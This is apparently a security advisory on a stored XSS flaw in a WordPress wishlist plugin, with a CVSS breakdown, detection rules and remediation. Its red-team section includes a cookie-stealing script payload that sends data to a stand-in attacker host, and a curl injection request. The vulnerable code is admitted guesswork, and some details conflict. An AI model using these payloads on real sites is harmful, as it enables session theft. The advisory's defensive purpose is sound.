CVE-2025-49075

Executive Summary

CVE-2025-49075 is a Stored Cross-Site Scripting (XSS) vulnerability in the PickPlugins Wishlist plugin for WordPress, affecting versions up to and including 1.0.43. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This is a classic WordPress plugin ecosystem issue, not related to Apache or Nginx.

The CVSS score is 6.5 (Medium), with a vector indicating network-based exploitation, low attack complexity, no privileges required, but user interaction is needed. The EPSS score is 0.0%, suggesting low current exploitation activity, but the lack of a patch makes this a significant risk for sites using the plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• No patch is available from the vendor (PickPlugins).
• The plugin is installed on many WordPress sites, potentially exposing them to attack.
• Attackers could target the plugin's update mechanism or inject malicious code into the plugin's repository if compromised.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must visit a page with the injected script.
• Scope (S): Changed (C) – Impact can extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases the risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability exists in the Wishlist plugin's handling of user input, likely in the wishlist creation or item addition functionality. The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the browser. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) via a form field (e.g., wishlist name, item note).
2. The plugin stores the payload in the WordPress database without proper sanitization.
3. When an administrator or other user views the wishlist page, the payload is executed in their browser.
4. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's escaping functions (e.g., esc_html(), wp_kses_post()).

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code (wishlist.php)
echo "<div class='wishlist-name'>" . $wishlist_name . "</div>";

The patched version should use proper escaping:

// Patched code
echo "<div class='wishlist-name'>" . esc_html( $wishlist_name ) . "</div>";

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the Wishlist plugin version <= 1.0.43.
• A registered user account (or if the plugin allows unauthenticated wishlist creation, no account needed).

Exploit Steps:

1. Navigate to the wishlist creation page.
2. In the "Wishlist Name" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the form.
4. When an admin views the wishlist, the script executes, sending the admin's cookies to the attacker.

Manual Exploit (cURL):

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=create_wishlist&wishlist_name=<script>alert('XSS')</script>"

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to admin-ajax.php with parameters containing <script> tags.
• Look for wishlist names or descriptions containing HTML/JavaScript in the database.

Hardening:

• Disable the Wishlist plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Use WordPress security plugins (e.g., Wordfence) to add input sanitization.

Indicators of Compromise (IOCs)

• Network: HTTP requests to admin-ajax.php with action=create_wishlist and payloads containing <script> tags.
• File: Modified or new entries in the wp_posts or wp_postmeta tables with HTML/JavaScript content.
• Log: WordPress debug logs showing unescaped output in wishlist-related pages.
• Behavior: Unexpected redirects or pop-ups when viewing wishlist pages.

Detection Engineering

YARA Rule

rule CVE_2025_49075_Wishlist_XSS {
    meta:
        description = "Detects stored XSS payloads in Wishlist plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49075"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-49075 Stored XSS in Wishlist Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via Wishlist plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=create_wishlist'
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wishlist names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49075 Stored XSS in Wishlist Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=create_wishlist"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Wishlist plugin until a patch is released.
2. Scan the database for existing XSS payloads using the YARA rule above.
3. Remove any malicious entries from the wp_posts and wp_postmeta tables.

Long-term Fix:

• The vendor (PickPlugins) must release a patched version that properly escapes output.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add a WAF rule to block requests containing <script> tags in wishlist-related parameters.
• Use a WordPress security plugin to add input sanitization.

Valters IT
Securing Digital Frontiers